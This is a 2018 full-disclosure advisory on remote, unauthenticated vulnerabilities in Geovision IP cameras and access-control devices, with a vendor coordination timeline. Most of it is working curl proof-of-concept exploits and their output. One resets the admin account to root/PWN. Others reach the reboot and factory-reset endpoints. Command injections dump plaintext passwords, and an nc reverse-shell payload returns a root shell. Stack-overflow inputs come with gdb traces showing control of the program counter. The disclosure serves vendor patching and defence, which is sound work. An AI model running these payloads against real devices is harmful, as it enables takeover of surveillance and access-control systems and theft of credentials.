[STX]
Subject: Geovision Inc. IP Camera/Video/Access Control Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access
Attack vector: Remote
Authentication: Anonymous (no credentials needed)
Researcher: bashis <mcw noemail eu>(November 2017)
PoC: https://github.com/mcw0/PoC
Python PoC: https://github.com/mcw0/PoC/blob/master/Geovision-PoC.py
Release date: February 1,2018
Full Disclosure:90 days
Vendor URL: http://www.geovision.com.tw/
Updated FW: http://www.geovision.com.tw/download/product/
heap: Executable + Non-ASLR
stack: Executable + ASLR
Vulnerable:
Practically more or less all models and versions with FW before November/December 2017 of Geovision embedded IP devices suffer from one or more of these vulnerabilities.
Verified:
GV-BX1500 v3.102016-12-02
GV-MFD1501 v3.122017-06-19
Timeline:
November 5,2017: Initiated contact with Geovision
November 6,2017: Response from Geovision
November 8,2017: Informed Geovision about quite dangerous bug in'FilterSetting.cgi'
November 8,2017: Responce from Geovision
November 15,2017: Reached out to Geovision to offer more time until FD
(due to the easy exploiting and number of vulnerabilities in large number of products)
November 17,2017: Request from Geovision to have time to end of January 2018
November 18,2017: Agreed to FD date of February 1,2018
November 20,2017: Received one image for test purposes
November 26,2017: ACK to Geovision that image looks good
January 16,2018: Sent this FD and PoC Python to Geovision for comments before FD,ifany objections.
January 17,2018: Received all OK from Geovision, no objections, toghether with thanks for the effort for trying to make Geovision products more safe.
January 17,2018: Thanked Geoviosion for good cooperation.
February 1,2018: Full disclosure
-[Unathorized Access]-1)
PoC: Reset and change 'admin' to 'root'with passwd 'PWN'(GV-MFD1501 v3.122017-06-19)
curl -v http://192.168.57.20:80/UserCreat.cgi?admin_username=root\&admin_passwordNew=PWN
2)
PoC: Change device WebGUI language back to default
curl -v -X POST http://192.168.57.20:80/LangSetting.cgi -d lang_type=0\&submit=Apply
3)
Unathorized upgrade of firmware.
PoC: Reboot the remote device asin'run_upgrade_prepare'
curl -v "http://192.168.57.20:80/geo-cgi/sdk_fw_update.cgi"
URI: http://192.168.57.20/ssi.cgi/FirmwareUpdate.htm
4)
PoC: Upload of Firmware header for checking correct firmware.
curl -v -X PUT "http://192.168.57.20:80/geo-cgi/sdk_fw_check.cgi"-d "BAAAALAAAAABAgAAAAAAADKvfBIAAAABGDIpBwAAAABhc19jcmZpZAAAAAAAAAAALgYAALAAAADXe///AAAAAAAAAABib290bG9hZGVyLmJpbgAAAAA0ALAAAgBOAP//AAAAAAAAAAB1SW1hZ2UAAAAAAAAAAAAA1OIaALAANgDSw///AAAAAAAAAAByYW1kaXNrLmd6AAAAAAAAALBtArAAUgAIuf//AAAAAAAAAAAjIFN0YXJpbmcgd2l0aCAnSElEOicgYW5kIHNwbGl0IGJ5ICcsJyBhbmQgZW5kIHdpdGggJ1xyXG4nICgweDBkIDB4MGEpDQpISUQ6MTE3MCxOYW1lOkdWLUxQQzIyMTAsRG93blZlcjoxMDINCkhJRDoxMTUwLE5hbWU6R1YtUFBUWjczMDBfU0QsRG93blZlcjozMDUNCkhJRDoxMTUyLE5hbWU6R1YtUFBUWjczMDBfRkUsRG93blZlcjozMDUNCkhJRDoxMTc2LE5hbWU6R1YtQlgzNDAwRSxEb3duVmVyOjMwMw0KSElEOjExNzUsTmFtZTpHVi1CWDE1MDBFLERvd25WZXI6MzAzDQpISUQ6MTEwMSxOYW1lOkdWLVVORkUyNTAzLERvd25WZXI6MzA2DQpISUQ6MTE0NSxOYW1lOkdWLVVOMjYwMCxEb3c="/var/log/messages
192.168.57.1--[01/Jan/1970:00:32:43+0000]"PUT /geo-cgi/sdk_fw_check.cgi HTTP/1.1"20025000"""curl/7.38.0"
Nov5 17:11:51 thttpd[1576]:(1576) cgi[3734]: Spawned CGI process 1802 to run 'geo-cgi/sdk_fw_check.cgi', query[]
Nov5 17:11:51 sdk_fw_check.cgi: CONTENT_LENGTH =684
Nov5 17:11:51 sdk_fw_check.cgi:(1802) main[183]: base64 encode length :684
Nov5 17:11:51 sdk_fw_check.cgi:(1802) main[184]: base64 encode output : BAAAALAAAAABAgAAAAAAADKvfBIAAAABGDIpBwAAAABhc19jcmZpZAAAAAAAAAAALgYAALAAAADXe///AAAAAAAAAABib290bG9hZGVyLmJpbgAAAAA0ALAAAgBOAP//AAAAAAAAAAB1SW1hZ2UAAAAAAAAAAAAA1OIaALAANgDSw///AAAAAAAAAAByYW1kaXNrLmd6AAAAAAAAALBtArAAUgAIuf//AAAAAAAAAAAjIFN0YXJpbmcgd2l0aCAnSElEOicgYW5kIHNwbGl0IGJ5ICcsJyBhbmQgZW5kIHdpdGggJ1xyXG4nICgweDBkIDB4MGEpDQpISUQ6MTE3MCxOYW1lOkdWLUxQQzIyMTAsRG93blZlcjoxMDINCkhJRDoxMTUwLE5hbWU6R1YtUFBUWjczMDBfU0QsRG93blZlcjozMDUNCkhJRDoxMTUyLE5hbWU6R1YtUFBUWjczMDBfRkUsRG93blZlcjoz
Nov5 17:11:51 sdk_fw_check.cgi:(1802) main[185]: decode length:512
Nov5 17:11:51 sdk_fw_check.cgi:(1802) main[186]: decode output:^D
Nov5 17:11:51 sdk_fw_check.cgi:(1802) check_image_format_is_OK[839]:(1) Product Error: Image's magic[513]!= DEV_MAGIC[1000]
Nov5 17:11:51 sdk_fw_check.cgi:(1802) check_firmware[135]: ERROR : check firmware, length [512]5)
Unathorized access of 'sdk_config_set.cgi' to Import Setting (SDK_CONFIG_SET)
curl -v -X PUT "http://192.168.57.20:80/geo-cgi/sdk_config_set.cgi"6)/PSIA/
Access to GET (read)and PUT (write)
curl -v -X PUT http://192.168.57.20:80/PSIA/System/reboot
curl -v -X PUT http://192.168.57.20:80/PSIA/System/updateFirmware
curl -v -X PUT http://192.168.57.20:80/PSIA/System/factoryReset
[...]
List:/PSIA/System/reboot/index
Usage:/PSIA/System/reboot/description
PoC: curl -v -X PUT http://192.168.57.20:80/PSIA/System/reboot
Full recursive list:/PSIA/indexr
-[Remote Command Execution]-7)
PoC will create 'tmp/Login.cgi'with'<!--#include file="SYS_CFG"-->', then Dump All Settings,
including login and passwords in clear text by accessing the created Login.htm
curl -v "http://192.168.57.20:80/PictureCatch.cgi?username=GEOVISION&password=%3becho%20%22%3c%21--%23include%20file=%22SYS_CFG%22--%3e%22%3etmp/Login.htm%3b&data_type=1&attachment=1&channel=1&secret=1&key=PWNED"; curl -v "http://192.168.57.20:80/ssi.cgi/tmp/Login.htm"< HTTP/1.1200 OK
...---------------------------------------- Dump All Settings ----------------------------------------...8)
PoC will pop reverse connect back shell to 192.168.57.1/www/PictureCatch.cgi
curl -v "http://192.168.57.20:80/PictureCatch.cgi?username=GEOVISION\&password=%3bmkfifo%20/tmp/s0%3bnc%20-w%205%20192.168.57.1%201337</tmp/s0|/bin/sh>/tmp/s0%202>/tmp/s0%3brm%20/tmp/s0%3b\&data_type=1\&attachment=1\&channel=1\&secret=1\&key=PWNED"
$ ncat -vlp 1337
Ncat: Version 7.12( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from192.168.57.20.
Ncat: Connection from192.168.57.20:55331.
pwd
/www
id
uid=0(root) gid=0(root)
exit
$
9)/www/JpegStream.cgi
curl -v "http://192.168.57.20:80/JpegStream.cgi?username=GEOVISION\&password=%3bmkfifo%20/tmp/s0%3bnc%20-w%205%20192.168.57.1%201337</tmp/s0|/bin/sh>/tmp/s0%202>/tmp/s0%3brm%20/tmp/s0%3b\&data_type=1\&attachment=1\&channel=1\&secret=1\&key=PWNED"
$ ncat -vlp 1337
Ncat: Version 7.12( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from192.168.57.20.
Ncat: Connection from192.168.57.20:55332.
pwd
/www
id
uid=0(root) gid=0(root)
exit
$
Problem(s):
SIiUTIL_GetDecryptData calling popen()"sh -c /var/www/testbf d PWNED ;mkfifo /tmp/s0;..." without proper sanitation of user input
Note:
Vulnerable tags:'username','password'and'key'-[Double free]-10)
curl -v http://192.168.57.20:80/PSIA/System/configurationData
*** glibc detected *** psia.cgi: double free or corruption (out):0x00077d10***-[Stack Overflow]-11)/usr/local/thttpd
curl -v "http://192.168.57.20:80/htpasswd?password=`for((i=0;i<140;i++));do echo -en "X";done`AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
Program received signal SIGSEGV, Segmentation fault.0x49494948in ?? ()(gdb) bt
#00x49494948 in ?? ()#10x0003889c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)(gdb) i reg
r0 0x00
r1 0x3696503577424
r2 0x11
r3 0x68104
r4 0x414141411094795585
r5 0x424242421111638594
r6 0x434343431128481603
r7 0x444444441145324612
r8 0x454545451162167621
r9 0x464646461179010630
r100x47474747 1195853639
r110x48484848 1212696648
r120x3680e8 3571944
sp 0x7ee0fbc80x7ee0fbc8
lr 0x3889c231580
pc 0x494949480x49494948
cpsr 0x20000030536870960(gdb)12)/usr/local/thttpd
curl -v http://192.168.57.20:80/geo-cgi/param.cgi?skey=`for((i=0;i<44;i++)); do echo -en "X"; done`AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN
Program received signal SIGSEGV, Segmentation fault.0x49494948in ?? ()(gdb) bt
#00x49494948 in ?? ()#10x3e4c4d54 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)(gdb) i reg
r0 0xffffffff4294967295
r1 0x7e963e8c2123775628
r2 0x00
r3 0x242578
r4 0x414141411094795585
r5 0x424242421111638594
r6 0x434343431128481603
r7 0x444444441145324612
r8 0x454545451162167621
r9 0x464646461179010630
r100x47474747 1195853639
r110x48484848 1212696648
r120xa 10
sp 0x7e983c480x7e983c48
lr 0x3e4c4d541045187924
pc 0x494949480x49494948
cpsr 0x600000301610612784(gdb)13)/www/PictureCatch.cgi
curl -v "http://192.168.57.20:80/PictureCatch.cgi?username=`for((i=0;i<324;i++));do echo -en "A";done`BBBB&password=GEOVISION&data_type=1&attachment=1&channel=1&secret=1&key=PWNED"[pid2215]--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242}---14)/www/Login3gpp.cgi
curl -v "http://192.168.57.20:80/Login3gpp.cgi?username=`for((i=0;i<444;i++));do echo -en "A";done`BBBB&password=PWNED"[pid2161]--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424243}---15)/www/Login.cgi
curl -v "http://192.168.57.20:80/Login.cgi?username=`for((i=0;i<477;i++));do echo -en "A";done`BBBB&password=PWNED"[pid2135]--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242}---
Note: username and password uses strcpy()and both are vulnerable.
However,'password' cannot be used remotely since 'thttpd' checking for this,andis vulnerable for stack overflow.
Have a nice day
/bashis
[ETX]
